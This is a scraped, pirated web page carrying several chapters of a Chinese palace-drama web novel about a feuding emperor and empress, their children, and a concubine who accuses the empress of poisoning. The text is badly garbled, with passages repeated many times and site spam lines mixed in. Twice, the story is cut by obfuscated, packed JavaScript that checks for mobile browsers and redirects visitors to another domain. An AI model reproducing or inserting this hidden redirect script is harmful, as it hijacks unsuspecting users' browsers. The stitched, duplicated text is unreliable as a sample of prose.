裴墨染的脸红到了脖颈,他像是尊严被践踏,“我抠门?我对你的心意,你都看不见?你这个女人掉钱眼里了?张口闭口都是钱。” “裴墨染,我就问你一句,将来辞忧被一个给她剥鸡蛋的男人迷了心智,你当爹的放心吗?”她的眼神狠狠一瞥。 他语塞。 辞忧是被他们捧在手心里的宝贝,倘若哪个男人用这么低劣的手段把辞忧的心骗走了,他定会被气死! 他说不定一气之下会把那人的头砍了! “可是我的心意,你真看不见?礼轻情意重,你懂吗?”裴墨染嘴硬的问。 “我不懂!”她故意气他,“因为你的礼太轻了!” 想起昨晚的一朵牡丹,她就来气。 就算不是皇上,就算是田间地头的放牛郎都知道给心爱的姑娘一捧花吧?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 云清婳的筷子使劲戳着碗底她忍无可忍“臭不要脸整日变着法儿夸自己!” “娘子也是好女人。” 裴墨染还没说完云清婳便道:“因为我嫁给了你这个好男人是吧?” “娘子聪慧都会抢答了。”他夸奖道。 云清婳:…… 他是不是有病? 他不会觉得自己很幽默吧? 飞霜、王显没忍住扑哧笑了出声。 皇上的笑话并不好笑 孩子咯咯地笑了。 “上学去。”云清婳递给福松一个眼色。 福松立即领着他们退下。 孩子走后云清婳啪地拍下筷子“裴墨染你刚才剥什么鸡蛋?我说我要吃了吗?” “蛮蛮在孩子面前你都不愿装了?你想让孩子看出爹娘不和睦?”裴墨染好整以暇地反问。 她目视前方平静地说:“这是两码事!还有你以后少在孩子面前胡言乱语什么给妻子剥鸡蛋的男人才是好男人? 你希望将来辞忧被男人廉价的感动给欺骗?还是说你想把承基教成跟你一样抠门的人?” 此话一出王显、飞霜立即退下连忙将门窗阖上。 裴墨染的脸红到了脖颈他像是尊严被践踏“我抠门?我对你的心意你都看不见?你这个女人掉钱眼里了?张口闭口都是钱。” “裴墨染我就问你一句将来辞忧被一个给她剥鸡蛋的男人迷了心智你当爹的放心吗?”她的眼神狠狠一瞥。 他语塞。 辞忧是被他们捧在手心里的宝贝倘若哪个男人用这么低劣的手段把辞忧的心骗走了他定会被气死! 他说不定一气之下会把那人的头砍了! “可是我的心意你真看不见?礼轻情意重你懂吗?”裴墨染嘴硬的问。 “我不懂!”她故意气他“因为你的礼太轻了!” 想起昨晚的一朵牡丹她就来气。 就算不是皇上就算是田间地头的放牛郎都知道给心爱的姑娘一捧花吧? 这个死直男究竟在干什么蠢事? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 云清婳的筷子使劲戳着碗底,她忍无可忍,“臭不要脸,整日变着法儿夸自己! “娘子也是好女人。 裴墨染还没说完,云清婳便道:“因为我嫁给了你这个好男人是吧? “娘子聪慧,都会抢答了。他夸奖道。 云清婳:…… 他是不是有病? 他不会觉得自己很幽默吧? 飞霜、王显没忍住扑哧笑了出声。 皇上的笑话并不好笑,但加上皇后娘娘的反应,真的好笑。 孩子咯咯地笑了。 “上学去。云清婳递给福松一个眼色。 福松立即领着他们退下。 孩子走后,云清婳啪地拍下筷子,“裴墨染,你刚才剥什么鸡蛋?我说我要吃了吗? “蛮蛮,在孩子面前,你都不愿装了?你想让孩子看出爹娘不和睦?裴墨染好整以暇地反问。 她目视前方,平静地说:“这是两码事!还有,你以后少在孩子面前胡言乱语,什么给妻子剥鸡蛋的男人才是好男人? 你希望将来辞忧被男人廉价的感动给欺骗?还是说,你想把承基教成跟你一样抠门的人? 此话一出,王显、飞霜立即退下,连忙将门窗阖上。 裴墨染的脸红到了脖颈,他像是尊严被践踏,“我抠门?我对你的心意,你都看不见?你这个女人掉钱眼里了?张口闭口都是钱。 “裴墨染,我就问你一句,将来辞忧被一个给她剥鸡蛋的男人迷了心智,你当爹的放心吗?她的眼神狠狠一瞥。 他语塞。 辞忧是被他们捧在手心里的宝贝,倘若哪个男人用这么低劣的手段把辞忧的心骗走了,他定会被气死! 他说不定一气之下会把那人的头砍了! “可是我的心意,你真看不见?礼轻情意重,你懂吗?裴墨染嘴硬的问。 “我不懂! 想起昨晚的一朵牡丹,她就来气。 就算不是皇上,就算是田间地头的放牛郎都知道给心爱的姑娘一捧花吧? 这个死直男究竟在干什么蠢事? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第402章 纯恨夫妻,互捅心窝子 “蛮蛮,冬日的牡丹,能培育出一朵已经很不易了。”裴墨染的声音都在颤抖,他又着急又委屈。 云清婳嘁了一声,“的确,冬日的牡丹培育不易,但是你培育的吗?你送的礼物,连……”裴云澈都不如! 她的声音戛然而止。 理智把情绪压下,占据了上风。 她的本意不是想激怒裴墨染,更不是争吵! 毕竟她不喜欢给自己找麻烦,可跟裴墨染吵着吵着就忘了形。 她什么时候变得这么容易有情感波动了? 都怪狗男人,她都被他带得易躁易怒了。 “你想说谁?”裴墨染的桃花眼闪出阴沉的戾气,眼眶瞪大,棱角分明的深邃轮廓看上去有些凶狠。 云清婳垂下眼皮,莫名感到心虚,“没想说谁。” 裴墨染上前一步,怒道:“你想说裴云澈!” “……”她的唇抿成了一字,没有否认。 他的脸深沉森冷,面上像是覆盖了一层薄冰,“蛮蛮,你居然拿我跟他比?我是你男人,他算什么东西?难道这会儿你反而对他动心了?” 云清婳像是听到了极其侮辱自己的话。 裴云澈的死,的确让她心绪复杂。 可她怎会爱上害死姐姐的仇人? 这简直就像把痰盂扣在她脑袋上一样恶心。 云清婳怒了,她从书桌上随手拿起一本茶经狠狠往裴墨染身上砸。 厚重的书本重重砸在他的胸膛、胳膊上,把他砸得砰砰作响。 “你骂谁呢?裴墨染,你骂谁呢?”云清婳像是炸了**的猫,稚嫩的脸蛋一拧,看不出凶狠倒有几分冷艳的美。 寝殿内哐哐响,云清婳尖细的声音回荡。 飞霜、王显时不时踮脚探头透过纱往门内望。 二人缩头缩脑,又想看又不敢看。 “我们主子这次会不会过了?”飞霜有点担心裴墨染降罪。 王显也吓得不轻,但他坚定地摇头,“放心吧,皇上舍不得。” 冬日的衣物厚重,再加上裴墨染在战场上经历了千锤百炼,这点疼痛对他而言不算什么。 他被她打得连连后退,他指着她,“你敢不敢让其他人看看你的真面目?母老虎!也就我能忍 你!嫁给我,你就偷着乐吧!你别把龙袍砸勾丝了。 “让你骂我!让你骂我!云清婳的小脸红得简直要泣血。 或许正是因为两个人太熟悉了,所以更知道怎么捅对方心窝子。 “呵,我何时骂你了?不是你说裴云澈比我好吗?裴墨染混不吝地笑了。 他承认,他说这话的确带着报复意味,想膈应她。 蛮蛮若是喜欢裴云澈,怎么可能大费周章,亲手杀了他? “我看苏灵音也不错,你跟苏灵音很!般!配!云清婳倏地笑了,她丢下书,理了理鬓角的碎发。 裴墨染的脸登时黑了,他脸上的鄙夷根本藏不住,无尽的怒火直冲脑门,“什么玩意?你怎么可以把那女人跟我扯上关系?你在侮辱我! “呵,我何时侮辱夫君?夫君说我是母老虎,想必苏灵音就很体贴吧?云清婳把他的话如数奉还。 相似的话术,让裴墨染感到耳熟。 就像是回旋镖正中他的脑门。 两个**眼瞪小眼,互不相让,似乎都想从气势上压倒对方。 寝殿陷入了良久的沉默。 无人敢进门,更无人敢劝架。 “世间怎会有你这样的毒妇?你就是仗着我爱你,所以肆无忌惮地挑衅我、伤害我。良久,裴墨染憋出这句话。 云清婳还以为他要说什么杀伤力强的话,结果就这? 她斜睨着他,讥讽道:“一把年纪了,还整天爱来爱去!你臊不臊啊? 裴墨染腹中的怒火再一次涌上五脏六腑,“我还不到三十岁,怎么就一把年纪了?我若是老,谢泽修只会更老! 云清婳乜了他一眼。 好端端的,他提表哥干嘛? 咚咚咚—— 忽然,门被敲响。 王显颤声道:“陛下,时候真的不早了,上朝要迟了。 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虽然他们心照不宣默契的不提发生过什么但其实裴墨染已经明牌了。 她的所作所为他选择看不见。 “也对主子攻下皇上十成心房了。”飞霜轻拍着胸口。 云清婳端起药小啜一口“这可不好说。男人最好面子最恨被欺骗裴墨染还不知道我自始至终都在演戏呢倘若他知道了我不知道他会怎样。” 飞霜的心又被提了起来。 主子跟皇上中间隔了太多谎言与欺骗皇上当初偏爱偏信赵婉宁为了离间他们主子撒了不少谎。 比如说挡刀、假孕、跳崖、假装失忆…… 这些感情升温点、转折点全都是主子精心雕琢出来的都是主子棋局中的一环。 正想着桂嬷嬷来了。 云清婳对太皇太后的印象不错她立即召见。 第403章 太皇太后劝和 花厅中云清婳坐在上首。 飞霜殷勤地扶着桂嬷嬷坐下给她到了御前龙井“桂嬷嬷今日怎么有空来坤宁宫了?” 桂嬷嬷的脸色凝重“皇后娘娘太皇太后召见您。” 云清婳的表情凝滞她缓缓问道:“何事?” 桂嬷嬷搓了搓手尴尬地笑了 “……”云清婳在心里吁了一口气。 真是好事不出门坏事传千里。 她跟裴墨染吵架的事这么快就传到慈宁宫了。 云清婳的眼神一亮不禁有点担心会被孩子知道。 “娘娘放心太皇太后已经将此事压下了传不到上书房。”桂嬷嬷福福身“消息是从内务府出来的想必是哪个宫人来坤宁宫办差听见了风声。” “把人揪出来狠狠掌嘴。”云清婳的声音卷带着肃杀。 福松出列眼神一厉他拱手道:“是!” 他遂带着几个太监下去。 …… 慈宁宫。 太皇太后坐在上首气质典雅的脸上显出几分苍老的疲态在经历丧子之痛后她高高盘起的发髻已然花白但一对丹凤眼一如往常般矍铄明亮。 她轻拍着坐榻“清婳快来坐。” “近来惫懒我许久没来给皇祖母请安了。”云清婳毫不拘谨地坐在太皇太后的对面。 “你这孩子总是懂事到让人心疼。你身子不好要多多休养不必来请安。”太皇太后宠溺地轻拍她的手背“方才你跟墨染吵嘴了?” 她还是点明了意图。 云清婳就知道老人家是来劝和的。 她缓缓颔首。 “那一定是墨染不对清婳知书达理不会有错。”太皇太后话锋一转“可是你别看哀家久居深宫足不出户但这些日子的事情哀家都知道。” “嗯?”云清婳不解地看着她心中蒙上了一层警惕。 太皇太后这是什么意思? 她知道了什么? 知道了多少? 太皇太后蹙眉“你跟墨染这些日子感情是不是淡了?” 云清婳松了口气她正欲回答太皇太后又道: “别蒙哀家,孩子都跟哀家说了,承基、辞忧聪慧,你们即使再遮掩,他们也能看出来。 “臣妾知错。云清婳随口说了一句,并不真诚。 太皇太后的脸阴沉下来,她语重心长道:“清婳,哀家看你的第一眼就极喜欢你,你的眼神、脾性跟哀家当年实在太像了,你是个聪慧识大体的孩子,心中没有情爱,知道如何利用男人,才能让自己过得更好。 云清婳的眉心一跳,她诧异地抬眼看向太皇太后。 尽管她知道作为上上届宫斗冠军,太皇太后的心机必定不浅,可没想到她老人家居然这般慧眼如炬,隐忍不发。 原来太皇太后从一开始就看穿了她。 亏她还真以为太皇太后喜欢的是她的乖巧贤惠。 但因为她当年也是这么走过来的,所以并不会觉得云清婳有什么问题。 “皇祖母真是慧眼如炬。云清婳承认了。 太皇太后拨弄着手心的蜜蜡佛珠,她叹了口气,“哀家的这个孙子是个实心眼,他对你是真的动情了,难道今后你都打算这样冷着他?清婳,人都是讲感情的,这么久了,你对墨染总归有点情谊吧? “……云清婳的眼中倒映出茫然。 照理说,应该是有的。 但她的心中没什么波澜,裴墨染对她而言是攻略对象、盟友、孩子他爹…… 除此之外,她再也想不出另外的身份了。 “对他好些吧,就当是为了孩子。太皇太后担忧地看着云清婳,“这次不是因为大昭,而是为了你,清婳,皇祖母担心你。 “担心我?云清婳不解。 太皇太后反问:“你不累吗? 云清婳一愣,这话问进了她的心里。 她好累,进宫后的每一天都好累。 跟自己不喜欢的人每天待在一起,被锁在四四方方的宫墙里,她快连气都喘不上来了。 “清婳,就当是为了你自己,试着拿出点真心吧。帝后不睦,不利国运,更让你难受。太皇太后作为过来人,正色道。 云清婳的嘴角掀起了一抹讥诮的弧度,“我知道了。 可她不想自欺欺人,问题的根源不在这里。 爱上裴墨染了,她就会快乐吗? 太皇太后当年想必也把太上皇玩得团团转可最后呢? 却又给自己戴上枷锁拿出真心接受对方以至于现在口口声声说要替裴家守江山将自己变成裴家的工具。 在她看来这场感情博弈中太皇太后还是输了。 “你回去好好想想好好过日子吧。” 云清婳起身她跟太皇太后对视目光平静“我会考虑。” …… 另一边御书房。 玉容抱着一个包袱跪在门外。 “皇上妾身有大事要报。”她高声说道。 裴墨染不耐的摔了毛笔“这贱妇命真大啊被杖责三十还能生龙活虎地作妖。” “皇上奴才这就赶她走。”王显将拂尘一甩就带人往外走。 就在这时玉容的尖锐的声音从门外传来“皇上妾身的事情跟皇后娘娘有关!” 裴墨染的眸子一缩他的脸上像是结了冰“慢着!” 王显的脚步停驻。 “放她进来。”裴墨染的手缓缓攥起。 少顷玉容就被带进御书房她扑通一声跪在地上眼中闪过势在必得的笑“妾身参见皇上。” 裴墨染捕捉到了她眼中的阴险胸中的怒气一下子窜了上来。 这个贱妇又要害人了。 “何事?”他眸黑如墨深不见底帝王的气势陡然爆发无尽的威压中夹杂着满满的不耐。 “还请皇上看看这个。”玉容见识过裴墨染的狠厉不敢迟疑忙不迭将怀中的包袱打开。 里面是一件桃色锦绣上衫。 准确来说是陆才人的上衫。 “这是何物?”裴墨染的眉心拧成了一个结。 这并不是蛮蛮的衣物。 “回皇上这是陆才人的衣物。”玉容故意停顿她抬眼见裴墨染疑惑 小说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节)接着说“都说陆才人早产是因为她生产那日在坤宁宫失足摔倒但妾身却发现了她生产那日所穿上衫的领口发现了药渍。” 你的朋友正在书荒,快去帮帮他吧 太皇太后当年想必也把太上皇玩得团团转,可最后呢? 却又给自己戴上枷锁,拿出真心接受对方,以至于现在口口声声说要替裴家守江山,将自己变成裴家的工具。 在她看来,这场感情博弈中,太皇太后还是输了。 “你回去好好想想,好好过日子吧。 云清婳起身,她跟太皇太后对视,目光平静,“我会考虑。 …… 另一边,御书房。 玉容抱着一个包袱,跪在门外。 “皇上,妾身有大事要报。她高声说道。 裴墨染不耐的摔了毛笔,“这贱妇,命真大啊,被杖责三十还能生龙活虎地作妖。 “皇上,奴才这就赶她走。王显将拂尘一甩,就带人往外走。 就在这时,玉容的尖锐的声音从门外传来,“皇上,妾身的事情跟皇后娘娘有关! 裴墨染的眸子一缩,他的脸上像是结了冰,“慢着! 王显的脚步停驻。 “放她进来。裴墨染的手缓缓攥起。 少顷,玉容就被带进御书房,她扑通一声跪在地上,眼中闪过势在必得的笑,“妾身参见皇上。 裴墨染捕捉到了她眼中的阴险,胸中的怒气一下子窜了上来。 这个贱妇又要害人了。 “何事?他眸黑如墨,深不见底,帝王的气势陡然爆发,无尽的威压中夹杂着满满的不耐。 “还请皇上看看这个。玉容见识过裴墨染的狠厉,不敢迟疑,忙不迭将怀中的包袱打开。 里面是一件桃色锦绣上衫。 准确来说是陆才人的上衫。 “这是何物?裴墨染的眉心拧成了一个结。 这并不是蛮蛮的衣物。 “回皇上,这是陆才人的衣物。玉容故意停顿,她抬眼见裴墨染疑惑,接着说,“都说陆才人早产,是因为她生产那日在坤宁宫失足摔倒,但妾身却发现了她生产那日所穿上衫的领口发现了药渍。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 太皇太后当年想必也把太上皇玩得团团转,可最后呢? 却又给自己戴上枷锁,拿出真心接受对方,以至于现在口口声声说要替裴家守江山,将自己变成裴家的工具。 在她看来,这场感情博弈中,太皇太后还是输了。 “你回去好好想想,好好过日子吧。” 云清婳起身,她跟太皇太后对视,目光平静,“我会考虑。” …… 另一边,御书房。 玉容抱着一个包袱,跪在门外。 “皇上,妾身有大事要报。”她高声说道。 裴墨染不耐的摔了毛笔,“这贱妇,命真大啊,被杖责三十还能生龙活虎地作妖。” “皇上,奴才这就赶她走。”王显将拂尘一甩,就带人往外走。 就在这时,玉容的尖锐的声音从门外传来,“皇上,妾身的事情跟皇后娘娘有关!” 裴墨染的眸子一缩,他的脸上像是结了冰,“慢着!” 王显的脚步停驻。 “放她进来。”裴墨染的手缓缓攥起。 少顷,玉容就被带进御书房,她扑通一声跪在地上,眼中闪过势在必得的笑,“妾身参见皇上。” 裴墨染捕捉到了她眼中的阴险,胸中的怒气一下子窜了上来。 这个贱妇又要害人了。 “何事?”他眸黑如墨,深不见底,帝王的气势陡然爆发,无尽的威压中夹杂着满满的不耐。 “还请皇上看看这个。”玉容见识过裴墨染的狠厉,不敢迟疑,忙不迭将怀中的包袱打开。 里面是一件桃色锦绣上衫。 准确来说是陆才人的上衫。 “这是何物?”裴墨染的眉心拧成了一个结。 这并不是蛮蛮的衣物。 “回皇上,这是陆才人的衣物。”玉容故意停顿,她抬眼见裴墨染疑惑,接着说,“都说陆才人早产,是因为她生产那日在坤宁宫失足摔倒,但妾身却发现了她生产那日所穿上衫的领口发现了药渍。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 太皇太后当年想必也把太上皇玩得团团转可最后呢? 却又给自己戴上枷锁拿出真心接受对方以至于现在口口声声说要替裴家守江山将自己变成裴家的工具。 在她看来这场感情博弈中太皇太后还是输了。 “你回去好好想想好好过日子吧。” 云清婳起身她跟太皇太后对视目光平静“我会考虑。” …… 另一边御书房。 玉容抱着一个包袱跪在门外。 “皇上妾身有大事要报。”她高声说道。 裴墨染不耐的摔了毛笔“这贱妇命真大啊被杖责三十还能生龙活虎地作妖。” “皇上奴才这就赶她走。”王显将拂尘一甩就带人往外走。 就在这时玉容的尖锐的声音从门外传来“皇上妾身的事情跟皇后娘娘有关!” 裴墨染的眸子一缩他的脸上像是结了冰“慢着!” 王显的脚步停驻。 “放她进来。”裴墨染的手缓缓攥起。 少顷玉容就被带进御书房她扑通一声跪在地上眼中闪过势在必得的笑“妾身参见皇上。” 裴墨染捕捉到了她眼中的阴险胸中的怒气一下子窜了上来。 这个贱妇又要害人了。 “何事?”他眸黑如墨深不见底 “还请皇上看看这个。”玉容见识过裴墨染的狠厉不敢迟疑忙不迭将怀中的包袱打开。 里面是一件桃色锦绣上衫。 准确来说是陆才人的上衫。 “这是何物?”裴墨染的眉心拧成了一个结。 这并不是蛮蛮的衣物。 “回皇上这是陆才人的衣物。”玉容故意停顿她抬眼见裴墨染疑惑接着说“都说陆才人早产是因为她生产那日在坤宁宫失足摔倒但妾身却发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546262|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她生产那日所穿上衫的领口发现了药渍。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 太皇太后当年想必也把太上皇玩得团团转可最后呢? 却又给自己戴上枷锁拿出真心接受对方以至于现在口口声声说要替裴家守江山将自己变成裴家的工具。 在她看来这场感情博弈中太皇太后还是输了。 “你回去好好想想好好过日子吧。” 云清婳起身她跟太皇太后对视目光平静“我会考虑。” …… 另一边御书房。 玉容抱着一个包袱跪在门外。 “皇上妾身有大事要报。”她高声说道。 裴墨染不耐的摔了毛笔“这贱妇命真大啊被杖责三十还能生龙活虎地作妖。” “皇上奴才这就赶她走。”王显将拂尘一甩就带人往外走。 就在这时玉容的尖锐的声音从门外传来“皇上妾身的事情跟皇后娘娘有关!” 裴墨染的眸子一缩他的脸上像是结了冰“慢着!” 王显的脚步停驻。 “放她进来。”裴墨染的手缓缓攥起。 少顷玉容就被带进御书房她扑通一声跪在地上眼中闪过势在必得的笑“妾身参见皇上。” 裴墨染捕捉到了她眼中的阴险胸中的怒气一下子窜了上来。 这个贱妇又要害人了。 “何事?”他眸黑如墨深不见底帝王的气势陡然爆发无尽的威压中夹杂着满满的不耐。 “还请皇上看看这个。”玉容见识过裴墨染的狠厉不敢迟疑忙不迭将怀中的包袱打开。 里面是一件桃色锦绣上衫。 准确来说是陆才人的上衫。 “这是何物?”裴墨染的眉心拧成了一个结。 这并不是蛮蛮的衣物。 “回皇上这是陆才人的衣物。”玉容故意停顿 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节)她抬眼见裴墨染疑惑接着说“都说陆才人早产是因为她生产那日在坤宁宫失足摔倒但妾身却发现了她生产那日所穿上衫的领口发现了药渍。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 太皇太后当年想必也把太上皇玩得团团转可最后呢? 却又给自己戴上枷锁拿出真心接受对方以至于现在口口声声说要替裴家守江山将自己变成裴家的工具。 在她看来这场感情博弈中太皇太后还是输了。 “你回去好好想想好好过日子吧。” 云清婳起身她跟太皇太后对视目光平静“我会考虑。” …… 另一边御书房。 玉容抱着一个包袱跪在门外。 “皇上妾身有大事要报。”她高声说道。 裴墨染不耐的摔了毛笔“这贱妇命真大啊被杖责三十还能生龙活虎地作妖。” “皇上奴才这就赶她走。”王显将拂尘一甩就带人往外走。 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你的朋友正在书荒,快去帮帮他吧 第404章 皇上,我是赵婉宁啊! “药渍?”裴墨染呢喃着这两个字。 玉容扬起妆容精致的脸蛋,脸上带着从未有过的自信,一副众人皆醉她独醒的模样。 她道:“没错!妾身找太医看过了,这药渍是催产药,而内务府的簿子上记载,当日坤宁宫就曾支过土膝、瞿麦之类的催产草药。” 王显吞了吞口水,脸色惨白。 也就是说陆才人的难产另有蹊跷! 是因为皇后娘娘灌了她催产药…… “拿过来。”裴墨染勾勾手。 玉容绽放出灿烂的笑,心跳加速。 裴墨染这是相信她了,看穿云清婳的毒妇的真面目了? 她正欲起身,王显便上前将陆才人的上衫一把扯过,走上台阶,呈给裴墨染。 “退下!”裴墨染一脸不耐的冲下面的浴桶摆摆手。 玉容脑袋里一片空白,她不明白他为何这般淡定。 “皇上,铁证如山,还请您还陆才人一个公道,小皇子这么小就没了娘,好可怜啊。”玉容冠冕堂皇道。 裴墨染的眼神尖锐,如有实质地刺向玉容,仿佛能将她捅穿,“陆才人意外跌倒,难产而亡,要什么公道?” “什么?”玉容激动的指着王显手里的上衫,“皇上,不是意外,是有人蓄意谋害!上衫的领口有催产药,您若是不信可以……” 她的话还没说完,裴墨染就烦躁的递给王显一个眼色。 王显会意,一把将上衫丢进了火炉中。 嚯的一声,火舌吞噬布料,丝绸布料被燃成灰烬。 “……”玉容瞪圆了眼。 “此贱妇无中生有,屡次挑拨是非,赐七尺白绫!”裴墨染捏起毛笔,一个眼色都不分给她。 王显立即叫人进来,两个太监按住玉容的双肩就将她往外拖。 “不要啊,不要啊……” “皇上,您不在乎与迟国的邦交了吗?” “我被天师批过命,得玉容者,得天下啊!我是圣女,我不能死……” 裴墨染被逗乐了。 他轻嗤,“给江湖术士两个钱,江湖术士也能说路边的狗是哮天犬,山鸡是凤凰。” 扑哧—— 王显都笑喷了。 玉容的眼泪模糊 了眼睛,她不要死,她不甘心…… 既然老天给了她一次重来的机会,就证明她是老天选中的女主角。 女主角怎么能轻易死? “皇上,您不能杀我,您真的认不出我吗?皇上,我是赵婉宁啊!” “我们的那些年的情爱您都忘记了吗?” 咚—— 裴墨染的手一抖,毛笔掉到了地上。 玉容见有戏,更高声地尖叫:“皇上,我是赵婉宁啊!” “装神弄鬼,拖去诏狱砍了!” 暴虐气场铺天盖地席卷而来。 王显用一副看傻子的眼神看着台下的人。 有病! 要是不提赵婉宁,兴许还有活路。 “我在西北的沙丘上给您唱过歌……”玉容哭着吟唱起来,声音空灵。 裴墨染的瞳孔地震。 “慢着!” …… 坤宁宫。 云清婳回宫不久,福松就笑吟吟地迎上来,“皇后娘娘,容嫔被陛下赐**。” 飞霜扑哧一声笑了,“主子说的没错,根本不用咱们出手,她自会作死。” 她不甚在意,她径自走到梳妆台前,飞霜默契地把她髻上沉重的钗环卸下来。 云清婳打开妆奁,看到里面的饰品,眼中闪过暗色。 最近发生太多事,她都忘了把裴云澈的东西处理了。 “我妆奁里的杂物太多了,捐出去吧。” “是。”飞霜捏着雕花梨木梳给她梳头,梳子上带出了许多落发。 主子从前很少落发的。 由此可见主子最近忧思过度,心情并不好。 “主子要放宽心啊。”飞霜劝道。 云清婳脸上无悲无喜,“我也想开心,可困在这里,我就开心不起来。” 她是现代人,有着自由的灵魂,怎甘心困囿于深宫? 飞霜的舌尖好像都尝到了一丝苦涩,“只要主子开心,主子怎么做,奴婢都支持。” 云清婳努力调整了下唇角,她将裴云澈送的手串、牡丹玉簪、手帕全都找了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16547488|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “都捐出去吧,他的东西留着也晦气。”她没有感情道。 几个宫女立即接过物件。 忽的一枚姻缘符掉了出来。 云清婳看到这枚姻缘符不由得冷笑又是狗男人送的没用的东西。 “皇后娘娘姻缘符掉了。”宫女蹲下双手拾起“这是感业寺的永结同心符吧?听说可遇不可求每日只有九十九枚十分灵验能让有情人终成眷属。” “你喜欢?”云清婳问。 “不、不是的……”宫女的脸蛋登时绯红一副羞答答的模样。 云清婳猜测这个小丫头有了心上人。 “送你了希望你能得偿所愿。”她道。 宫女一愣她立即跪下谢恩“多谢皇后娘娘。” 云清婳颔首。 …… 裴墨染被太皇太后召去了慈宁宫。 他大步流星进了寝殿朝太皇太后走去“皇祖母何事?莫非身子不舒服?” “哀家体泰安康皇上就不能盼着哀家好?”太皇太后揶揄。 裴墨染登时猜测到了太皇太后的心思他在她身边坐下“皇祖母放心今早都是我不好招惹了蛮蛮蛮蛮才生气的没什么大碍。夫妻间哪有不拌嘴的?蛮蛮的性子您还不知?” 太皇太后看他的眼神都带着说不清道不明的怜悯。 她可怜的孙儿时至今日还觉得清婳对他有真心? “清婳是个好皇后但最近行事太过暴戾乖张尽管哀家不出门但也听说了她的雷霆手段这样可不行。”太皇太后严肃起来。 云清婳对后妃时常发动刑罚风声都传进了慈宁宫了。 她是真的不管不顾了。 “皆有缘由 他不允许任何人责怪蛮蛮哪怕是皇祖母。 太皇太后叹了口气“清婳治理后宫或许没错可她身为母亲手段不仁慈会教坏孩子的。你宠爱清婳没有错但不能太过骄纵了。” “孙儿知道了。”裴墨染感受到了皇祖母的认真。 从前皇祖母每次都会站在蛮蛮一边指责他不对。 可这次她却没有帮着蛮蛮。 太皇太后看裴墨染的眼神中夹杂着心疼她欲言又止。 最后还是沉默了。 第405章 花朝节夜游 她老了,有些事情还是别说为好。 戳破真相,墨染只会更可怜。 毕竟在他心中,清婳是世间唯一爱他的人。 让墨染心存希冀,或许更好。 …… 裴墨染顺路去了坤宁宫。 寝殿中的叫闹声不断,脚步声咚咚作响。 云清婳正穿着单薄的青色交领衫,在宽敞的前厅追着承基、辞忧玩。 两个孩子的笑声咯咯作响,无忧无虑。 他比了个噤声的手势,没让人通传。 “真是胡闹,蛮蛮的身子未愈,不能受累的。他淡淡的斥责。 宫人把头压得很低,连大气都不敢出。 他抬腿走了几步,眼神被一个宫女腰间的符箓吸引,他的眸子骤然紧缩,“这是…… 裴墨染的眼神灼热的落在符箓上,仿佛要把它烧成灰烬。 宫女顺着他的视线看去,心肝轻颤,她连忙跪地叩首,“回禀陛下,这是皇后娘娘赏赐给奴婢的…… 他的手臂轻颤,手缓缓攥住,手背上的青筋鼓起,脸上像是蒙了一层阴霾。 王显的心肝也跟着轻颤。 若是没记错,这是皇上当年送皇后娘娘的永结同心符。 当时皇上以为皇后娘娘跳崖过世,时常捏着符箓黯然神伤,甚至暗自哭过。 可皇后娘娘居然把符箓送人了。 一股冷然的气场袭来,好像要把坤宁宫冻得结冰。 感受到泰山压顶般的气势,所有宫人整齐地跪下。 裴墨染面无波澜,无悲无喜的大步走进寝殿。 孩子看到他,眼睛都亮了,“爹爹…… 云清婳停下脚步,她的脸颊因为劳累泛出红晕,额角冒出薄汗,微微喘息。 “娘亲身子不舒服,不可以让娘亲劳累,记得了吗?裴墨染正色交代。 “唔……承基、辞忧有些委屈。 云清婳摇摇头,“无妨,我跑一下也好,身子会暖和。 裴墨染拿出帕子,想要给她擦去脸上的汗,可云清婳偏过脸,不着痕迹地躲开了。 他给飞霜递了个眼色,飞霜立即将外袍给云清婳披上,“主子,当心着凉。 “承基、辞忧, 课业写完了吗?”裴墨染蹲下身,勾勾他们的下巴。 “写了。”两个孩子异口同声。 他看向庭院中的太监,他们手中抱着一些玩件。“爹命内务府给你们做了些玩具,去看看?” “谢谢爹……”两个孩子迫不及待地跑了出去。 这次的玩具每个皇子、公主都有,因为童年的不幸,所以他会特别注重这些细枝末节,尽量一碗水端平。 裴墨染示意宫人退下,他将厚重的外袍脱下,“方才皇祖母召见我了。” “她也召见我了,因为早上的事情。”云清婳拿起剪刀,将窗牗下盆栽的枯枝剪掉。 裴墨染望着她的背影,眼神忧郁。 